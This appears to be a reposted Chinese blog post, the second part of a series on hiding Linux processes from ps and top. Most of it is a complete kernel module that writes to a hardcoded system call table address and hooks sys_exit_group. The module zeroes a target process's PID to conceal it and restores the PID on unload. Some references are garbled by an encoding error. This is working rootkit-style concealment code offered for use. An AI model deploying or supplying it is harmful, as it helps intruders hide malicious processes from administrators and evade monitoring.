linux下如何隐藏进程(ps/top)(二)
来源:互联网 发布:昆仑虚魂器进阶数据 编辑:程序博客网 时间:2024/06/05 03:20
前一篇关于隐藏进程的博客中,提到了两个问题,
1)进程不能自己退出
2)进程不能有中断信号
strace命令调查,发现进程正常退出时调用的是exit_group函数,对应的内核的函数是sys_exit_group()
hook之:
=============================================================================================================================
#include <linux/kernel.h>
#include <linux/module.h>#include <linux/init.h>
#include <linux/sched.h>
#include <linux/list.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <linux/uaccess.h>
#include <asm-i386/cacheflush.h>
#include <asm/mman.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JASON.LIN.YU");
static pid_t old_pid = 0;
static unsigned long **sys_call_table =(unsigned long **) 0xc06294e0;
static char * mystring = "sleep";
static void (*old_sys_exit_group)(int);
static int set_pg_rw(long unsigned int _addr)
{
struct page* pg;
pgprot_t prot;
pg = virt_to_page(_addr);
prot.pgprot = VM_READ|VM_WRITE;
return change_page_attr(pg, 1, prot);
}
static int set_pg_r(long unsigned int _addr)
{
struct page* pg;
pgprot_t prot;
pg = virt_to_page(_addr);
prot.pgprot = VM_READ;
return change_page_attr(pg, 1, prot);
}
asmlinkage void new_sys_exit_group(int errcode)
{
if( 0 == current->pid){
current->pid = old_pid;
}
old_sys_exit_group(errcode);
}
int start_module(void)
{
struct list_head* list = NULL;
struct task_struct *task = NULL;
set_pg_rw((long unsigned int )sys_call_table);
old_sys_exit_group = sys_call_table[__NR_exit_group];
sys_call_table[__NR_exit_group] = new_sys_exit_group;
set_pg_r((long unsigned int)sys_call_table);
list_for_each(list, ¤t->tasks){
task = list_entry(list, struct task_struct, tasks);
if(0 == memcmp(mystring, task->comm, strlen(mystring))){
old_pid = task->pid;
task->pid = 0;
break;
}
}
task = find_task_by_pid(old_pid);
task->pid = 0;
return 0;
}
void clean_module(void)
{
struct list_head* list;
struct task_struct *task = NULL;
list_for_each(list, ¤t->tasks){
task = list_entry(list, struct task_struct, tasks);
if( 0 == memcmp(mystring, task->comm, strlen(mystring))){
task->pid = old_pid;
break;
}
}
set_pg_rw((long unsigned int)sys_call_table);
sys_call_table[__NR_exit_group] = old_sys_exit_group;
set_pg_r((long unsigned int)sys_call_table);
return;
}
module_init(start_module);
module_exit(clean_module);
=============================================================================================================================
好使
- linux下如何隐藏进程(ps/top)(二)
- linux下如何隐藏进程(ps/top)
- linux下如何隐藏进程(ps/top)
- linux下如何隐藏进程(ps/top)
- linux下如何隐藏进程(ps/top) 和找到linux进程路径
- linux ps top查看进程
- linux常用命令—进程(jps\ps\top)
- linux基础(七)进程、ps、用户登陆审计、top
- linux系统观察进程命令ps、top
- Linux中运行的进程:ps/top
- linux进程查看top与ps
- Linux任务进程管理:top、ps
- linux 进程查看下(top)
- Linux下查看进程(ps或者top),或者使用图形化(系统监视器) .
- 查看进程 ps,top
- linux中查看进程和终止进程(ps,top,kill)
- Linux查看系统进程信息命令总结 (ps/top/pstree)
- Linux进程管理命令详解(ps和top)
- Object Repository相关
- 批处理基础之二:了解@命令
- 强类型--验证用户登录次数
- 用jquery实现ajax获取后台数据的示例
- 循环移位 - 修订版
- linux下如何隐藏进程(ps/top)(二)
- 如何修改Oracle默认用户密码有效期时间
- 第14周任务1(建立专门的数组类处理有关数组的操作)
- linux 安装 ftp 服务器 vsftpd
- XNA实现骨骼动画 归纳总结
- C语言编程时常犯十八个错误
- quartus V11.0 在Qsys中使用uart
- How to debug SceneLib with Eclipse and How to install SceneLib 1.0 on Ubuntu 10.04
- 在字符串中删除特定的字符